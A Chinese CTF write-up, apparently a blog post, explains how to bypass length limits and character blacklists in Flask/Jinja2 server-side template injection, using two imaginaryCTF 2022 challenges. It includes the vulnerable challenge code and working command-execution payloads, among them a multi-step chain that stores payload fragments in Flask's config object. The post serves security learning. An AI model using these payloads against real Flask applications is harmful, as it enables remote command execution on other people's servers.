Python Flask SSTI 之 长度限制绕过

最近在国外的 CTF 中遇到了几道 SSTI 长度限制的题,并且网上相关知识点记载较少,于是就有了这篇文章。

本文以两道题为参考来讲解 SSTI 在长度限制下如何进行绕过

一.  使用长度较短的 Payload

原题:imaginaryCTF 2022 - SSTI Golf

#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
    query = request.args['query'] if 'query' in request.args else '...'
    print(len(query))
    if len(query) > 49:
        return "Too long!"
    return render_template_string(query)

app.run('0.0.0.0', 1337)

这道题的代码比较简单,定义了两个路由。

根路由返回程序的源代码;

ssti 路由接收一个从 GET 方法传递过来的 query 参数,并直接将它传入 render_template_string() 函数,并且未存在过滤,因此造成 SSTI 漏洞。

需要注意的是,在渲染模板之前代码对 query 参数做了长度限制,限制它不能超过 49 个字符,否则直接退出,因此需要绕过此处的长度限制。

当代码中存在长度限制并未过滤任何字符长度的限制较大时,应优先考虑使用较短的 Payload 尝试命令执行。

如果使用常规 Payload 比如 __subclasses____class__,肯定会导致 Payload 过长。

因此我们要在这里使用 Flask 内置的全局函数来构造我们的 Payload:

  • url_for:此函数全局空间下存在 eval()os 模块
  • lipsum:此函数全局空间下存在 eval()os 模块

所以我们可以使用 __globals__ 属性来获取函数当前全局空间下的所有模块、函数及属性

下列 Payload 即通过 __globals__ 属性获取全局空间中的 os 模块,并调用 popen() 函数来执行系统命令;因为 popen 函数返回的结果是个文件对象,因此需要调用 read() 函数来获取执行结果。

{{url_for.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('whoami').read()}}

二.  将 Payload 保存在 config 全局对象中

Flask 框架中存在 config 全局对象,用来保存配置信息。

config 对象实质上是一个字典的子类,可以像字典一样操作。

因此要更新字典,我们可以使用 Python 中字典的 update() 方法

update() 方法 + 关键字参数更新字典:

d = {'a': 1, 'b': 2, 'c': 3}

d.update(d=4)

print(d)

 执行结果:

Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}

我们将使用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象:

{% set x=config.update(s='string') %}

这里 set 语句设置的变量不重要,重点是 update() 函数中的参数

查看结果:

可以看到已经成功在 config 全局对象中更新值。

接下来,我们将使用此方法来在 config 全局对象分段保存 Payload,以绕过长度限制。

原题:imaginaryCTF 2022 - minigolf

from flask import Flask, render_template_string, request, Response
import html

app = Flask(__name__)

blacklist = ["{{", "}}", "[", "]", "_"]

@app.route('/', methods=['GET'])
def home():
  print(request.args)
  if "txt" in request.args.keys():
    txt = html.escape(request.args["txt"])
    if any([n in txt for n in blacklist]):
      return "Not allowed."
    if len(txt) <= 69:
      return render_template_string(txt)
    else:
      return "Too long."
  return Response(open(__file__).read(), mimetype='text/plain')

app.run('0.0.0.0', 1337)

这道题的代码总体意思与上一道题相同,通过 GET 方法接收 txt 参数并直接传入 render_template_string() 函数,造成 SSTI 漏洞。

但是此题加上了黑名单过滤,并且限制最大的字符长度为 69 ;过滤的字符有:

  • {{
  • }}
  • [
  • ]
  • _

首先,过滤了 {,所以我们不能使用 {{}} 来表示变量,我们可以使用 {%print(<PAYLOAD>)%} 来代替;

过滤了 ,所以我们不能使用 [] 来获取对象的属性,我们可以使用 . 或 attr() 过滤器来代替;

过滤了 _ ,导致我们不能获取魔术方法与属性,我们可以使用 attr() 过滤器配合字符编码request 对象绕过。

明白了绕过方法之后,我们开始利用 config 全局对象构造 Payload。

我们要基于构造的 Payload 是:

{{lipsum.__globals__.os.popen('whoami').read()}}

首先我们需要将 lipsum 全局函数更新保存到 config 中:

{%set x=config.update(l=lipsum)%}

在 config 全局对象中更新一个元素,键为 l,值为 lipsum 全局函数

查看 config,可以看到已成功保存 lipsum 全局函数。

接下来将 __globals__ 属性保存到 config 中,这里先保存字符串:

{%set x=config.update(g=request.args.a)%}{%print(config)%}&a=__globals__

需要注意代码中过滤了下划线 _ ,这里使用 request 全局对象绕过;request 中保存的是客户端请求信息,这里使用 request.args 来通过 GET 方法传递其他参数,来绕过黑名单过滤。

查看 config,可以看到已成功保存 __globals__

构造好了 __globals__ 字符串之后,接下来真正开始获取 lipsum 的 __globals__ 属性并保存到 config 中:

{%set x=config.update(f=config.l|attr(config.g))%}{%print(config)%}

因为代码中过滤掉了中括号 [] ,所以这里使用 attr() 过滤器来获取 lipsum 的 __globals__ 属性。(不能使用 . 来获取属性是因为这里 config 后面就用了点,后面再用点会造成混乱语法错误)

可以看到成功获取了 lipsum 的全局空间下的所有模块并保存到了 config 中。

然后就是获取全局空间下的 os 模块

{%set x=config.update(o=config.f.os)%}

因为保存全局空间的对象(config.f)是个字典,而在 Jinja 模板中获取字典的属性可以直接使用 . 来获取,因此这里直接使用 . 来获取全局空间字典下的 os 模块

可以看到成功更新了键值为 o 的元素,值为 os 模块

成功保存了 os 模块之后,接下来就是获取 os 模块中的 popen() 函数了,因为之后就是用它来执行命令:

{%set x=config.update(p=config.o.popen)%}

与上一步操作原理相同,获取 popen() 函数。

config 中的 p 已成功保存 popen() 函数

到了这一步,Payload 的构造就已经完成了,我们成功将完整的 Payload 分段保存在了 config 全局对象中。

接下来,也就是最后一步,就是命令执行:

{%print(config.p(request.args.c).read())%}&c=whoami

这里不知为何原因不能在 popen() 函数中直接传字符串,要利用 request.args 从其他参数传递命令,否则会 500。

命令执行成功,获取到了 flag。

完整 Payload:

{%set x=config.update(l=lipsum)%}

{%set x=config.update(g=request.args.a)%}&a=__globals__

{%set x=config.update(f=config.l|attr(config.g))%}

{%set x=config.update(o=config.f.os)%}

{%set x=config.update(p=config.o.popen)%}

{%print(config.p(request.args.c).read())%}&c=whoami

 

总结

当遇到 SSTI 长度限制时,在没有过滤限制长度较大时可以优先尝试使用较短的 Payload:

{{url_for.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('whoami').read()}}

当存在过滤且长度限制较短时,可利用 config 全局对象分段保存 Payload:

{%set x=config.update(l=lipsum)%}

{%set x=config.update(g=request.args.a)%}&a=__globals__

{%set x=config.update(f=config.l|attr(config.g))%}

{%set x=config.update(o=config.f.os)%}

{%set x=config.update(p=config.o.popen)%}

{%print(config.p(request.args.c).read())%}&c=whoami

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值